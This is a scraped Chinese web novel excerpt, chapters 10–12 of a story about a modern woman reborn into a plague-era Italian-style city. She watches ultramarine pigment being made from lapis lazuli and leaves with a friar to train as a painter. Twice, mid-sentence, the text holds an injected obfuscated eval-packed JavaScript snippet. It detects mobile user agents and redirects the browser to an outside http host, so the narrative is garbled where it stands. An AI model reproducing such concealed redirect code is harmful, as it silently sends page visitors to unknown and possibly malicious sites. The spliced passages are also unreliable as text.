“生病的人太多,保罗神父已经写信去请示主教大人,说不定这两天就要彻底停工了……不过这样也好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517273|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,扩建本来就不是很快能做完的,停工这段时间我也能专心去做市政厅那边的工作。” 喝光碗里最后一口麦粥,乔瓦尼大师看向自己的妻子:“对了,贾尔那边还没送货过来吗?” 伊莎贝拉:“没有。今天早上我还让米娅去了他的店里,他说最近外面乱得很,很多商队都没能按时抵达……” “可去他的吧!我看他是老毛病犯了,又想要压货!” 乔瓦尼大师不爽地将勺子扔进碗里:“那个奸猾的伊博勒商人,十句话里能有两句真话就不错了!昨天博托那小子还向我炫耀了他新得的胭脂虫,城里除了他谁会卖那玩意?商队肯定是把东西带到了,他这就是等着我亲自上门谈加价的事呢!” “现在大家都不容易,要是涨得不多就不要计较了,别因为这个把关系闹僵了。”好脾气的女主人耐心劝说自己的丈夫,“反正现在没有其他地方能买到石青,做不出颜料也画不了画,到时候耽误了时间那些人不是还会把账算到你头上?” 妻子的劝导并没有起到太大安抚作用,乔瓦尼大师依然抱臂生着闷气。 他带着愤懑的目光扫过桌面,原本还想再说些什么,却不经意地与一双瞪大的眼睛对上了。 “……是不是我声音太大了?”对上女孩惊讶的双眼,男人不好意思地轻咳两声,换上哄孩子的语气说道,“吃饱了吗?要不要再来点?” “…………” “请问……石青和胭脂虫是什么?” 瞪着眼卡顿半晌,菲丽丝悄悄咽了下口水,按捺着心中的激动小心问道:“是石头和虫子?您……要怎么用它们做成颜料?” 大概是没想到她会问这个,乔瓦尼大师愣了下才笑着点点头:“当然要一些特殊的方法,你对这个感兴趣吗?” 此时的菲丽丝已经顾不上考虑自己的性格是否与小菲丽冲突,忙不迭地点头。 女孩双眼中迸发出的喜悦实在太过明显,在这种沉闷的日子里就像冲破阴云的一缕日光,任谁看到都会忍不住被牵动情绪。 “石青没有了,但我记得家里还剩了几块青金石吧?”乔瓦尼大师笑了阵,又像是突然想到什么,看向妻子道,“明天有时间的话把那些都做成色粉吧。” 伊莎贝拉听到丈夫的话心里一惊,赶忙劝道:“那些可比石青贵太多了,你就这么用到壁画上也太奢侈了吧!” “谁说要用那个画壁画了?”乔万尼大师发出一声幸灾乐祸的哼笑,“安布诺那家伙接到了特鲁齐夫人的委托,要他在今年的圣母升天日前绘制出一幅圣母像。他听了报价后想都没想就答应了,回家了才发现自己的蓝色颜料根本不够绘制圣母的衣服!为了这个,他高价在贾尔那里紧急预定了不少青金石,结果现在贾尔那家伙连石青都想要压价,别说青金石了,价格不知道会被抬到多高。” “距离圣母升天日只剩三个月了,他不可能不着急,估计都没心情自己去做颜料了。”建筑师摸摸自己的唇须,朝妻子递去一个狡猾的眼神,“我们就把研磨好的成品卖给他,价格按之前的市场价走,也好给贾尔那个贪婪家伙一个教训!” 10. 阿斯卡共和国10 010 颜料商人与客户之间的纠纷菲丽丝并不感兴趣,也来不及感慨乔瓦尼大师居然不仅仅是一位建筑师和雕塑家,居然还能兼任画壁画……此时最让她激动的是她居然能亲眼看到最原始的、制作颜料的过程。 为了顺应时代的潮流也是为了修改便利,菲丽丝自从工作后就基本放弃了手绘转向板绘。 可在板绘出现并风靡世界之前,她也跟颜料打了很多年的交道。 感谢现代化学的发展,在她生长的时代染料和颜料已经相当便宜。 尤其是上了大学之后,电脑硬件和绘画软件的崛起更是让画画的成本一降再降,至少让她这种家境普通的人也能因为喜爱就可以学到这项技能。 菲丽丝自然是喜欢绘画的。即使工作后这份喜爱时常会搀上痛苦,可常年养成的习惯早已深入骨髓,无聊时拿起笔涂鸦也成了一种肌肉记忆。 只是现在来到了这个活着都异常艰难的时代,一件接一件的麻烦事找上门,她连一点空闲的时间都没有,别说去想打发时间的娱乐方式了。 尤其是从这具身体醒来后她都没在现实看到哪怕一本书,唯一看到的纸和文字还是祖父马西莫留下的遗嘱。 没有纸也没有笔,她都没指望能接触到“颜料”这种更高级的东西,却没想到居然能阴差阳错地碰到围观制作颜料的机会。 由于太过兴奋,菲丽丝难得失眠了,躺在床上翻腾到半夜才睡着。 醒来第一件事就是穿好衣服下楼,睁着一双闪亮亮的眼睛盯住家中的女主人伊莎贝拉,仿佛一错眼对方就要逃跑似的。 伊莎贝拉看着这个突然变得无比热情的“小跟屁虫”,无奈之余也觉得很好笑,实在不知道这种无聊的工作有什么值得她期待的。 制作颜料算是每个画师的必修课,也是他们赖以生存的技能之一,按理说是不会随便外传给外人。 但眼前的女孩毕竟年纪还小,比起怕她偷学技能,作为成年人的伊莎贝拉更担心她会在自己制作颜料时捣乱。 由于菲丽丝想要围观的意念太过强烈,最后伊莎贝拉只能再三强调不能捣乱,这才允许她跟着自己走到后院。 尽管已经在心里有了预期,可真正看到伊莎贝拉拿出几块蓝色石头的时候菲丽丝还是激动地吸了一口气。 “想要摸摸吗?”伊莎贝拉看着她两眼放光的样子,笑着指向放在一旁的石头,“要摸现在就摸,等会就摸不到了。” 菲丽丝闻言眼眸又亮了亮,不过伸手时还是比较矜持,只摸了摸其中最小的那一块便乖巧地收回手。 她过去最常用的颜料是丙烯。 丙烯遮盖性很强,用起来比油画颜料方便还干得快……最重要的一点,这种集现代工业之大成诞生出的颜料比传统的油画和水彩颜料便宜很多,对不富裕的初学者很友好。[*1] 在她出生的时代,除了水彩有会有固体状外,油画、水粉和丙烯颜料大多是管装或罐装的膏体,基本拿来就能用,谁又会花时间关心手里这一小管颜料是怎么做出来的呢? 之所以知道石头能做颜料,还是多亏之前参与制作游戏时查找了相关的资料。不过那些资料也只是很笼统的总结,她只记得有些颜料是石头做的,有些是植物和虫子,把它们研磨好再加些杂七杂八的东西煮,晾干就能成为色粉。 而此时,那几行只停留在纸面上的文字在伊莎贝拉的行动中一点点化为现实。 女人先将蓝色的矿石敲成小块,这才将其放进一个带盖的研钵,用杵慢慢捣碎、按压,研磨成更小的颗粒。 粗粗研磨过的小颗粒被倒进一个小型石质轮碾机的槽里,加上少量的水防止粉末飞溅后,女人双手按住石轮两段的把手来回碾压,直到小颗粒完全成为细粉才小心收集起来,放到一旁有太阳的地方晾晒。 矿石的数量虽称不上多,也不是一次就能弄完的。可光是看着她做这一次,菲丽丝已经感觉双手酸痛。 看了看女人开始流汗的额头和微隆的小腹,她表示自己能帮忙,却被对方果断拒绝。 “你那小胳膊能做什么?”伊莎贝拉抬手抹去额头上的汗,摆手道,“你要是觉得太无聊就去屋里玩吧,做这个真没什么好看的。” 菲丽丝也看出这一步确实很枯燥,但她还是摇摇头,继续坐在一旁看女人一遍遍重复相同的动作。 如果有机器就好了,她不由再次在心中想道。 就算没有全自动的,有那种用风力或水力驱动的磨也好,至少比这样自己一点点磨轻松很多。 不过想到传说中这矿石的价格,估计就算有那种给粮食脱壳的石磨他们应该也不会用吧? 在女孩思绪放空的时候,伊莎贝拉将再把小块矿石放入空出来的研钵,继续捣碎、研磨的步骤,反复几次,直到钟声敲响、女佣来叫两人吃午饭时,她都没有完成第一步。 午饭后休息片刻,女人再次开始研磨粉末。等所有的石头都磨成粉后,她又将之前晾干的粉末过了几遍筛。挑出较大颗粒的继续碾碎,直到所有石头都碾成细腻的粉末。 等到太阳开始西斜,代表午后的钟声敲响,伊莎贝拉总算把所有的矿石全部处理完毕。 赶在开始做晚饭前,她从库房取出一口小锅吊到炉火上,依次加入三种不同的半透明黄色固体。菲丽丝看不出它们都是什么,不过从其中散发出的味道能推测出其中有一个是松香。 随着锅被加热,三种胶状物开始融化。 等它们完全融合到一起,伊莎贝拉才把筛好的青金石粉一点点分批倒入,缓缓搅拌直至糊状,这才将其倒到一块铺好干净亚麻布的木板上。 菲丽丝看着女人将那只深蓝的“面团”反复揉搓,最后将其分成几个差不多大的“小面团”,还以为这就结束了,却没想到这才完成了第二步。 之后那些“蓝面团”被放到一旁静置了三天,三天后伊莎贝拉才开始第三步。 不过此时大教堂那边已经停工,不再缺人手,乔瓦尼大师总算把自己的其中一位学徒派到家里协助妻子制作颜料。 “要来也不早点,最费力的事我都做完了……” 嘴上这样抱怨着,伊莎贝拉还是没有浪费免费送上门的劳动力。 她准备了三只容量接近于盆的大碗,其中两只是看起来成色不太好的玻璃碗,最后一只则是更加随便的小木盆。 女人把加热好的水倒进碗中,又分别往里面加入一些菲丽丝完全看不出是什么的浑浊液体,之后的工作就交给了站在一旁的小学徒。 这位被叫作“马里奥”的学徒看起来比小菲丽的这具身体大不了几岁,最多十二三岁,却已经有了多年的工作经验。 他半路从师母那里接手工作也没问什么多余的问题,直接往双手和小臂处涂上一层油,便抓着“面团”放进水中揉搓。 不过大概因为年纪还小,小学徒与干活时习惯沉默的伊莎贝拉不同,发现旁边还有个小孩在一直盯着自己看也没觉得不自在,反而开始自来熟地搭话。 一来二去,两人居然在这枯燥的工作里聊得很是投机。 也多亏了这位嘴上没有把门的小少年,菲丽丝总算知道了乔瓦尼大师在大教堂停建后具体在忙些什么。 “……去年冬天不是发生了一场地震吗?当时会议厅里正在开会还是做什么,反正好几个烛台和吊灯掉下来了,大厅着了场火……虽然很快就熄灭了,但墙上的壁画有好几块都被毁了。”少年一边用力揉着“面团”一边喘息着说道,“还有钟楼……当时计划钟楼会在创世节前建成,可因为地震,有一块塌了,还砸死了人……” 少年的声音有些突兀地戛然而止,瞥了眼似乎毫无察觉的女孩,轻咳一声才继续说道:“反正在建造那座钟楼的时候乔瓦尼大师也给过参考意见,他们就请大师再去看看,顺便就提到了修复旁边会议厅里壁画的工作。那些壁画可都是劳伦佐大师的遗作,乔瓦尼大师一直很崇拜他,这种千载难逢的机会当然要抢下来!” 菲丽丝看着少年那兴奋到放光的眼睛,立刻明白这位估计也是那位大师的崇拜者了。 可惜她对艺术史课的记忆太过模糊,对这个名字完全陌生……或者,课上根本没有提到过这个名字。 毕竟历史上有能力留下自己名字的画家都多到吓人,更别说没有留下名字的无名画师。老师就算能把他们全都说一遍,平均到每个人身上的时间也只会少得可怜。 就像眼前这位少年学徒和他的师父乔瓦尼大师。 能被重金请来负责监造扩建大教堂的人一定是这个时代和地区数一数二的建筑家,可她却完全对他的名字没有印象…… 是他毕生的成就没有达到能让数百年后的人记住他,还是她太孤陋寡闻?或者说,眼前的一切其实都不是真的? 毕竟现在距离马西莫去世已经过去一周,菲丽丝也确定自己是来到了黑死病开始的年代……可即使知道外面出现了瘟疫,周围人还是该干什么就干什么,除了出门次数少了些也没出现大范围的恐慌事件,这实在与自己认知中那“会抹杀西陆三分之一人口”的大瘟疫有很大的差别。 还有那个自称“派勒乌索教授”的幽灵……好像从那天听到自己被强盗抢劫的原因后就消失了,好几天都没出现,她也没有再见到其他幽灵…… 难道这一切真的是自己的幻觉? 自己终于被工作逼疯了,这才会做这么一个真实又荒唐的梦? 那她到底是多有受虐倾向?做梦都不能梦到点好的,专门做个梦让自己受苦,她怎么都不知道自己原来这么变态? 就在菲丽丝陷入头脑风暴时,还在揉搓“面团”的学徒也没有说话。 看着女孩不知为何咬着手指陷入沉思,少年以为自己之前说到钟楼塌了砸死人的事终于让对方想起她父亲的死,尴尬中一时也没继续闲聊的心情,终于专心做起手上的工作。 揉搓这个由青金石粉、蜜蜡、乳橡胶和松香混合起来的软团也是个力气活,费力气的地方主要在时间上。 青金石粉亲水,其他杂质却疏水,只要反复揉搓就能让纯净的青金石进入水中,杂质则留在“面团”中,所以“面团”在第一碗水里揉搓的时间自然越长越好。 在学徒的反复揉搓下,“蓝面团”渐渐把原本还算清澈的水染成深蓝。 不知多久,小学徒抬头看了眼天色,“面团”又被放入第二只碗,继续揉搓了大约一小时,这才进入了第三只小盆中。< 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小学徒倒是不惊讶她那有些没见识的表现,只挑眉得意道:“还早着呢。先要等里面的颜色完全沉淀下来,倒掉上层的清水,再煮沸去除里面杂质,静置沉淀,再倒水……大概还要三天才能完全去掉里面的水分,将其晒干成色粉。” “而且别看用的矿石挺多,真做出来的上等群青色粉也只有矿石重量的二十五分之一。”[*2] 他先用下巴点了点已经沉淀下来的第一碗蓝色液体,有歪头示意了另外两碗,“剩下的二等和三等都买不上高价,估计安布诺大师也看不上,他要是不要乔瓦尼大师就只能留着自己用了……” 少年的声音随着午后的钟声一起响起,可菲丽丝已经无暇留心他说了什么。 一种冲动,一种从血液、从心脏传来的冲动让她迫切想要抓住这抹瑰丽而熟悉的蓝色。 突然来到这个分不清虚幻还是现实的陌生世界,她为了安全,只能披着不属于自己的外皮随波逐流……可如果为了安全,就这样慢慢抹掉原本的性格,接受顺从此时的规则继续下去,那她究竟会是原本的“菲丽丝”,还是与那张外皮融合的“菲丽希安娜”? 仅仅是想到这个问题,心中便已经有了答案。 一个人不会甘心成为另一个人,至少她不想。 她有她自己不会改变的底色,有自己追求的东西……那是不论她身处在什么地方、什么环境,即使暂时被遗忘,只要一个小小的火苗出现在眼前,就一定能够想要坚持去抓住的东西。 “…………” “如果我想要画画,需要做什么?” 女孩猛地抬起头,声音中带着明显的急切:“如果想要用这种颜料画画……如果我想成为一名画师,是要先去给某位大师做学徒吗?” 小学徒大概没想到她会突然问这种问题,连揉搓的动作都停了一下。 “要成为画师当然要想做学徒,可你……”少年纠结了下,最后还是摇摇头,“我从没听说有哪位大师会收女学徒,也没听说哪里有女画师……” 见女孩的眼眸瞬间黯淡下来,小学徒有些不自在地踢踢腿,不太熟练地安慰道:“这就不是女人该干的活啊……如果你真的那么喜欢,你以后可以嫁给一位画师或者商人,说不定也能接触到……” 尽管知道对方是好意,可菲丽丝已经不想听下去了。 就在她准备转身离开时,一道沙哑而陌生的笑声却从院门口传来。 “从我们诞生起,吾主的恩惠就公平给予了每一个人。” “农忙时女人要跟着男人下地收麦子,阿斯卡的修士也会参与梳羊毛纺线的工作。既然吾主从一开始就没有把职业与性别区分开来,那就没有什么职业是女人不能做的……” 不徐不疾的话音落下,菲丽丝和小学徒都不由循声看去。 乔瓦尼大师与一位握着木杖、穿着灰色长袍的陌生老人一同站在后院门口,后者带着和蔼的微笑看向他们。 菲丽丝对他的第一印象就是“老”。 与满脸白须却身材高大、腰杆挺拔的派勒乌索教授不同,也与那位修道院院长不同,面前的灰袍老者身体干瘦,脊背向前佝偻着,让人相信只有紧紧握住手里的手杖才能让他稳稳站立住。 稍微靠近后,对方身上的细节就展现得更多了。 老人身上那单薄的长袍不知被缝补了多少次,简直像是由无数不同布料拼补出的衣服。从衣袍下露出的深色皮肤让人不由自主地联想到冬日干枯的树皮,松弛的眼皮遮住眼睛,简直让人分不清他此时是否在睁眼看人…… “……当然,世俗上的人和事总是充满偏见,意图恩诺半岛确实也没有女画师出现的先例,可这并不代表你不能学习绘画。” “我知道不少修女院设有缮写室。虽然很多不比修道院中的规模大,但其中也有人能制作出令罗兰王后都感到惊叹的精美时祷书……” 老人一边不急不缓地说着,一边拄着手杖一步步走到近前,原本就佝偻的脊背走到女孩面前时更往下弯了一点。 “好久不见,菲丽希安娜。愿圣母保佑你的健康。”穿着灰袍的老人笑着说道,“我是阿西亚的萨瓦托雷修士,希望你还记得我。” 11. 阿斯卡共和国11 011 从后院回到大厅,时间正好走到晚餐时分,作为一家之主的乔瓦尼大师自然而然地邀请远道而来的客人一起用晚餐,还特地让自己的妻子拿来专门待客用的珍贵葡萄酒。 穿着破烂灰袍的老人——也就是萨瓦托雷修士答应了。 不过从进食上看他是个很节制的人,吃了一小片面包和奶酪便停下了,倒是让没想到晚餐会多出一人的伊莎贝拉松了一口气。 “我们实在没想到您这么快就到了,要是有招待不周请您谅解。”乔瓦尼大师打量着面前的老修士,试探问道,“不过卡米罗院长说您之前是在阿西亚,至少要下个月才能回到阿斯卡……是那边出什么事了吗?” “愿圣母保佑……阿西亚确实是出了一些事,想来你们也能想到,这可怕的疫病也没放过圣那图拉的故乡。” 灰袍修士在胸前做了个祈祷的手势,这才微微睁开眼皮,用苍老却温和的声音说道:“不过我会提前离开阿西亚也是吾主的指引。我们的主人派天使来到我的梦里,什么都没说,只无言地指向阿斯卡大教堂……” 老修士带着悲悯的双眼落到一旁的女孩身上,温声道:“我很抱歉听到这样的噩耗,菲丽希安娜。但你应该明白,生者注定难逃一死,而死亡的界线并非吾等凡人能够掌控。马西莫是个虔诚而善良的人,就像你的父母一样,他注定会回到吾主的身边……” 年老的人似乎说话总是一个腔调。 修道院的卡米罗院长是,眼前这位也是。也许是年纪渐长,牙齿脱落了几颗或是本身反应就变慢了,他们为了能吐词清晰不得不放慢语速,像是要把每个读音都打磨一遍才能说出口。 这样的说话方式固然能让人听清楚,可这种放轻声音加慢吞吞的语调实在让人昏昏欲睡,要是碰到性格火暴的年轻人说不定根本没有耐心听他们说完就转头跑掉了…… 哦,不过还是有例外的,比如那位能像乒乓球一样满屋乱飞的派勒乌索教授,他发起火来时语速简直跟机关枪一样快。 年龄上来说他可不比前两位老人小多少,精气神却比那两个老人加起来都旺盛……就是有些太旺盛了,现在都不知道飘到了哪里,别是又被外面那些没有理智的幽灵扯碎吃掉了…… 她刚这么胡思乱想着,那个几天不见的身影居然就这么出现了。 虽然已经成为幽灵,派勒乌索教授依然是个很讲礼貌的幽灵,没有随便从房顶或墙体穿进来,而是固执地保持着人类的习惯从门走进大厅。 路过屋主乔瓦尼大师时甚至脱帽致意了下,这才一言不发地站到一旁。 失踪好几天的鬼突然出现,菲丽丝自然而然地被他吸引,眼神都不自觉地向旁边瞟,下一秒就跟派勒乌索教授对上视线。 “看什么看?我没事!”老教授有些气闷地哼了声,又快速给她试起眼色,“快别看我了,别人还在跟你说话!” 经由他提醒,菲丽丝的注意力总算又被拉回来,朝坐在对面、正耐心看着自己的老人微微颔首。 “……是,我都明白……”她垂下眼眸,像个认生的小孩那样小声且干巴巴地回应道,“谢谢您,也愿吾主保佑您……” 似乎没有察觉到女孩的异样,穿着灰袍的老修士依然笑着朝她点点头:“刚刚听你说,你想学习绘画,是吗?” 见女孩还低着头,揪着衣袖有些腼腆的样子,他继续温声道:“就像我之前说的。一些修女院会设有缮写室,有些缮写室会培养自己的修女做画师……只是阿斯卡附近的修女院都不大,如果你真有这样的打算,我们就不得不去远一些的地方了……” “那要去多远的地方?” 不等菲丽丝开口,乔瓦尼大师已经急声说道:“据我所知,独自经营缮写室的修女院可不多,回去培养修女做画师的就更少了。” 老修士倒是没有否认,缓缓点头后继续解释道:“确实,意图恩诺半岛上没有太多设有缮写室的修女院,距离最近的大概只有原间城内的圣苏珊娜修女院……不过我并不推荐去那里。原间城目前虽然已经脱离了帝国的掌控,却被一位暴君统治着,谁都不知道那座城市会被他带向何方……” 乔瓦尼大师显然也不赞成把女孩送到那里,一双浓眉蹙得越发紧了。 餐桌上的气氛一时沉寂下来,女主人伊莎贝拉与女佣开始收拾餐具去后院清洗。一起留下吃饭的小学徒则左看看,右看看,最后忍不住小声插了句嘴:“意图恩诺半岛上没有,也可以再往北走啊……不是说罗兰王后都喜欢修女院制作的时祷书吗?那不是说明罗兰那边会有……” 不等话说完,小学徒已经接收到师父的一记瞪视,赶紧讪讪笑了两声闭上嘴,借口去继续做颜料转身跑去后院。 “其实他说的也是我想说的,不知乔瓦尼大师是否听说过科冬镇的艾琳娜修女院。” 既然有人说了出来,灰袍修士便没有再继续沉默,接着这话继续说道:“科冬镇距离罗兰的首都吕得城很近,是个富庶且安宁的小镇。艾琳娜修女院的现任院长,索菲亚院长是个谦逊慈和的人,在附近的名声很好。我之前说过的,被罗兰王后赞扬过的时祷书正是出自她手……正好我答应过一位好友今年会去吕得城拜访,可以顺路送她过去。” “这……我知道这家修女院,我十年前去罗兰工作时曾在吕得城停留过,听说那家修女院还是在罗兰王室的资助下创立的,很多罗兰的贵族小姐会在出嫁前在那里修行,我相信会在那里担任院长的人品格一定足够高尚……” 乔瓦尼大师咬咬牙,最后还是摇头:“可那也太远了,吕得距离阿斯卡太远了!就算是骑马也需要一个半月,更别说坐马车或者步行……马西莫就这么一个后代了,我发誓要保护好她,要是去那么远的地方我该怎么——” “别着急,乔瓦尼大师,让我们听听当事人的想法吧。”灰袍修士伸手向下按了按,止住男人逐渐高昂的语气。 “她不过还是个孩子,能懂什么……” “可这毕竟是她将来要生活的地方,我们也该尊重她的意见。” 这么说着,灰袍修士和乔瓦尼大师一起看向此时坐在餐桌旁的第三人。 加上一直飘在一旁的派勒乌索教授,菲丽丝同时接收到了三道意味不同的视线。 她低下头,似是沉思了一会,这才抬起头,一双清亮的眼睛看向桌对面的两个男人。 “如果我进入一家修女院,是否就无法再去的其他修女院了?”她相当直白地发问道。 “一般来说不会出现这种情况。”穿着灰袍的老修士依然用那种老人特有的缓慢语气说道,“除非你所在的修道院出了什么重大意外,像是地震火灾使房屋完全损毁,且无法修补重建,也许你会被其所属的修会分配去其他修女院。” “嗯……” 菲丽丝沉吟片刻,再次发问道:“我知道画画的工具并不便宜,您说的那座位于罗兰的修女院,那里的院长真的能愿意教我……这样的孩子画画吗?” 这个问题已经不像一个孩子会问出的问题,乔瓦尼大师听到都愣了下,可坐在另一边、传说曾与“自己”相谈甚欢的萨瓦托雷修士却像是没有任何意外,脸上依然带着和蔼的微笑。 “别的地方我还说不准,但由于艾琳娜修女院从来不缺订单,所以索菲亚院长也确实有意愿专心培养更多新手画师。”老人不急不缓地说道,“这是一份工作,想要开始就要像你的父亲、祖父最开始成为石匠一样,你要先在一些修女身边做学徒。也许一开始会给你分配一些绘制边角装饰的工作,一点点积累经验,如果你真的有绘画天赋,院长会在适当的时刻将绘制整幅插图的工作安排给你……” 老人对上女孩认真的眼眸,像是想到了什么般顿了顿,这才继续道:“不过有一点与世俗不同。如果你决定成为修女,按照修院的规定,你将不再有任何私产,包括你将来的工作所得都是要统一归于所在的修院。” 这点菲丽丝确实没有想到,但她只是短暂愣怔了一下便点了点头。 工作却没有工资这点固然令人有些沮丧,可过去菲丽丝就不是一个太有上进心的人。否则她也不会在工作几年后从大厂辞职,反而成为自由职业者并加入一个名不见经传的小工作室。 比起赚大钱,她更偏向用自己喜欢的工作养活自己。即使工资低一些也无所谓,只要赚到的钱能吃饱饭,有个住的地方就足够了。 而在修女院生活也算是管吃管住,且作为罗兰王室资助下建立的修女院,生活条件怎么说都不会太差。 尤其是想到身处在这个物资极为匮乏的时代,即使有钱也无法买到自己真正想要的东西,那不如躲到修院这把大伞下生活。 毕竟如今的教廷还没有经历过大改革,神职人员的身份就是一层实打实的保护伞……即使修女可能并不能算是真正的神职人员,可多这么一层身份还是要比普通人更能让人忌惮[*1]。 她在心中衡量的利弊他人并不知晓。乔瓦尼大师只看到女孩点头了,似乎已经做出决定,脸上焦急的神色顿时更加明显。 “你要想清楚,菲丽,去了罗兰那就是另一个国家了。”男人双手按住桌面站起身,看向菲丽丝时难得用上十分严肃的语气,“先不说那么远过去不安全,你在一个陌生的地方生活周围全是不认识的人,要是被人欺负了都没人可说……对了,罗兰那边还是用另一种语言,你去了连别人说话都听不懂,日常可要怎么生活?” “我可以去学,乔瓦尼大师。” 菲丽丝抬起头,整个人端端正正坐在椅子上,一双沉静的深色眼睛回看过去:“我还小,有什么不会的都可以学习。可如果只有在那里才能一直画画,我想我更愿意在那里生活。” “你、你真是……”乔瓦尼大师张张嘴,哭笑不得道,“你才多大?怎么就会觉得自己会一直喜欢画画?而且过去也没听马西莫说你这么喜欢画画啊?” “…………” “因为我身体里流着石匠的血。” 沉默片刻,菲丽丝还是有些脸热地用上后世大师的话,执着地仰起头:“我的祖父是石匠,我身上留着他的血,我的骨头和血告诉我,我注定会爱上艺术。” 话都说到这个份上,乔瓦尼大师也有些哑然。 与那双执着的眼睛对视片刻,最后只单手拍上自己的额头。 “这倔脾气……真不愧是马西莫的孙女吗……”他喃喃一句,又摇摇头,“不行,这件事太大了,我需要明天再跟卡米罗院长商量后再决定。” 乔瓦尼大师的纠结在菲丽丝的意料之中。或者说,最后如果他坚持不让自己去那么远的地方菲丽丝也能理解。 她只是出自私心……除了想要逃离这座注定会死亡三分之二人口的城市外,菲丽丝也生出想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见她没有问自己这两天都去了哪儿,反而继续问出这种常识性问题,派勒乌索教授也说不清自己是松了口气还是有些失望,但嘴上还是很诚实地回答道:“是圣教修会的一种。跟帕提恩提斯会那种有固定修道院的修会不太一样,那图拉修会的创始人圣那图拉主张修士们应该完全放弃所有私产,穿没有染过色的灰色麻衣,以完全清贫的姿态四处云游传教……” 说着说着,他还叹了口气,感慨道:“不过后来他们中也出现了意见分歧,阿斯卡城外还有一座属于那图拉会的修道院呢。现在还能严格遵从圣那图拉主张生活的人也实属罕见。” 闻言,菲丽丝总算提起了些精神,好奇道:“完全没有私产还要四处行走,那他们怎么吃饭睡觉?” 派勒乌索教授:“按照圣那图拉最初的主张,那图拉修士的吃喝都需要靠他人施舍,所以他们也被称作……” “——要饭修士?” 菲丽丝试着抢答道。 她刚说完,就见老教授那张被胡子遮住一半的五官都跟着抽搐了一下,忍了忍,还是没忍住,拔高声音咆哮道:“是乞食修士!或者也可以叫他们灰袍修士……你那种说法实在太失礼了!” 乞食,不就是要饭…… 看着老教授吹胡子瞪眼的样子,菲丽丝到底没把内心的嘟囔说出口。 不过这也让菲丽丝更能理解乔瓦尼大师为什么宁可拖延时间也不愿意轻易放她走了。 如果那位萨瓦托雷修士确实是一位虔诚的那图拉修士,他的人品确实毋庸置疑。可作为一个身无分文的老人,连他自己都要靠要饭生活,看着也没有什么武力值,带着她一个女孩从意图恩诺走到罗兰,这么长的路上谁都不能保证会发生什么。 如其冒这样的风险,还不如按照原计划把她送到阿斯卡附近的修女院,这样一旦有困难,终究有认识的人能够帮忙。 至于菲丽丝的那点个人爱好,在保证她安全的大条件下,在大人们的眼中也许根本不值一提。 分析过目前的情形,菲丽丝不由深深叹出一口气。 如果真是这种结果,她也只能接受……毕竟没什么比活着更重要。 她原本以为自己那小小的挣扎必然没什么希望,却没想到自己的临时监护人——乔瓦尼大师的态度在第二天发生了一百八十度的大转弯。 “……快,丽萨,收拾两件马里奥的旧衣服给菲丽带上……还有吃的,多带几块面包给她包起来……” 不等下到一楼,菲丽丝就听到了乔瓦尼大师正对着妻子焦急嘱咐着什么。 见她下楼,原本焦头烂额的男人顿时身体一僵,随后脸色十分不好地大步走上前。 “很抱歉,菲丽。我也许要食言了。” 男人带着惭愧蹲下身,握住女孩的双肩:“你不能在阿斯卡待下去了……罗兰也好原间城也好,必须立刻出城,走得越远越好……” “这次的疫病不是普通的瘟疫,城外到处都是尸体……病人正在源源不断地被送到修道院和修女院,可没有办法……谁都没办法阻止……连卡米罗院长都……” 他的声音突然哽住,修剪得当的唇须颤了颤,与五官一起组成一个苦涩的表情。 “我不能把你送到附近的修女院了,那就是送你去死……你明天一早就跟萨瓦托雷修士离开,快点走,走远点,也许就没事了……” 他这么说着,从怀中掏出一只巴掌大的牛皮袋,悄悄塞到女孩的手里。 “这是马西莫在房子里存的一些钱,我又添了些,藏好,不要让任何人发现……如果你能安全到达,用它们给我送一封信……”乔瓦尼大师低声说道,“愿圣母庇佑你,菲丽希安娜。” 12.阿斯卡共和国12 012 离开阿斯卡与来到这里一样,突兀到让菲丽丝来不及做出反应。 似乎自从来到这个世界便是这样。 突然变成另一个人,突然目睹了身边人的死亡,突然被告知要离开……一切都发生得太快了,快到让她来不及做出任何反应或补救,情况已经再次发生翻天覆地的变化…… 直到伊莎贝拉拿出一把剪刀,小心翼翼与她商量起剪头发的事时,菲丽丝这才回过神,顺从地坐到椅子上。 虽然心里不愿意接受可她必须承认,在这里开启一段长途旅行,男孩总比女孩更安全。 剪短头发,穿上男孩的旧衣服,这是乔瓦尼大师一家能为她做的最后保障。 随着耳边不断传出的“咔嚓”声,一缕缕深褐色的长发落到地上。 小菲丽的头发很厚很密,此时突然剪成短发,菲丽丝都觉得头的重量轻了不少。 她正想要感慨几句,却猝不及防听到一声抽泣从身后传来。 转过身,便见拿着见到的女人已经捂住泪流满面的半张脸,见她看过来还条件反射地偏过了头。 “……丽萨阿姨,别哭了。这样对身体不好。” 剪成短发的女孩从椅子上跳下来,用自己的身体轻轻靠上女人不断颤抖的身体:“你肚子里还有一个宝宝,你这么伤心,宝宝也会跟着伤心的……” “不……对不起……” 女人看着靠向自己的女孩,终是没忍住抱住了她:“对不起……我们不该让你在这种时候离开……我其实、我们其实可以……” “没事的。您和乔瓦尼大师已经帮了我太多,是我该感谢你们……”菲丽丝回抱住女人的身体,小声道,“可丽萨阿姨,我走后你们即使不能躲到郊外也要尽量避着人,乔瓦尼大师也是,在疫病消失前还是尽量不要与其他人过多接触,就算是看上去健康的人也要减少接触……还有,一定要注意跳蚤和虱子那种会咬人的小虫子,只要家里不出现这种东西疫病就不会进来……” 说完,见女人一脸诧异地看向自己,菲丽丝定定神,摆出一个局促的表情说出自己早就想要的借口。 